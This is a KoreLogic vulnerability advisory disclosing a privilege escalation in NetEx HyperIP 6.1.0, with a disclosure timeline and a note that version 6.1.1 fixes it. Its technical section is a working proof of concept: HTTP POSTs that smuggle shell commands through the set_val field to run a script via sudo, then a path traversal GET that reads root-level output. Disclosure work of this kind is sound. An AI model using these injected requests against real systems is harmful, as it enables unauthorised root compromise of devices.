KL-001-2018-004 : NetEx HyperIP Privilege Escalation Vulnerability Title: NetEx HyperIP Privilege Escalation Vulnerability Advisory ID: KL-001-2018-004 Publication Date: 2018.02.08 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-004.txt 1. Vulnerability Details Affected Vendor: NetEx Affected Product: HyperIP Affected Version: 6.1.0 Platform: Embedded Linux CWE Classification: CWE-592: Authentication Bypass Issues Impact: Privilege Escalation Attack vector: HTTPS 2. Vulnerability Description Privileges can be escalated by abusing writable paths found within the sudoers configuration file. 3. Technical Description The run script is modified with the attack payload. POST /hypmisc.php HTTP/1.1 Host: 1.3.3.7 Accept-Language: en-US,en;q=0.5 Cookie: auth-token=b6b73844ce4df64f459948c5475a1096 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 90 set_id=msglvl&set_val=$(echo /usr/bin/id >> /var/ftp/pub/updates/a.run)&perm=on&submit=Set HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 07:21:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 1048 Connection: close Content-Type: text/html; charset=UTF-8 The attack payload can now be executed. POST /hypmisc.php HTTP/1.1 Host: 1.3.3.7 Accept-Language: en-US,en;q=0.5 Cookie: auth-token=b6b73844ce4df64f459948c5475a1096 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 91 set_id=msglvl&set_val=$(sudo /var/ftp/pub/updates/a.run >> /tmp/a.output)&perm=on&submit=Set HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 13:06:55 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 1020 Connection: close Content-Type: text/html; charset=UTF-8 The output can now be read from the a.output file, which is a separate arbitrary file read issue detailed in KL-001-2018-005. GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1 Host: 1.3.3.7 Accept-Language: en-US,en;q=0.5 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 13:07:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Length: 502 Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> <meta HTTP-EQUIV="Expires" CONTENT="0"> <link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css"> </head> <body class="dsp"> <H1>Show System Log <font size=2>[ Monday @ 08:07:51 ]</font></H1> <pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) </pre> </body> </html> 4. Mitigation and Remediation Recommendation The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.07.24 - KoreLogic submits vulnerability details to NetEx. 2017.07.24 - NetEx confirms receipt. 2017.08.16 - NetEx informs KoreLogic that this and other reported vulnerabilities have been addressed in the forthcoming release. ETA as of yet undetermined. 2017.09.05 - 30 business days have elapsed since the vulnerability was reported to NetEx. 2017.09.19 - NetEx informs KoreLogic that the forthcoming release 6.1.1 is expected to ship at the end of January 2018. 2017.09.26 - 45 business days have elapsed since the vulnerability was reported to NetEx. 2017.12.01 - 90 business days have elapsed since the vulnerability was reported to NetEx. 2018.01.17 - 120 business days have elapsed since the vulnerability was reported to NetEx. 2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release has gone live. 2018.02.08 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
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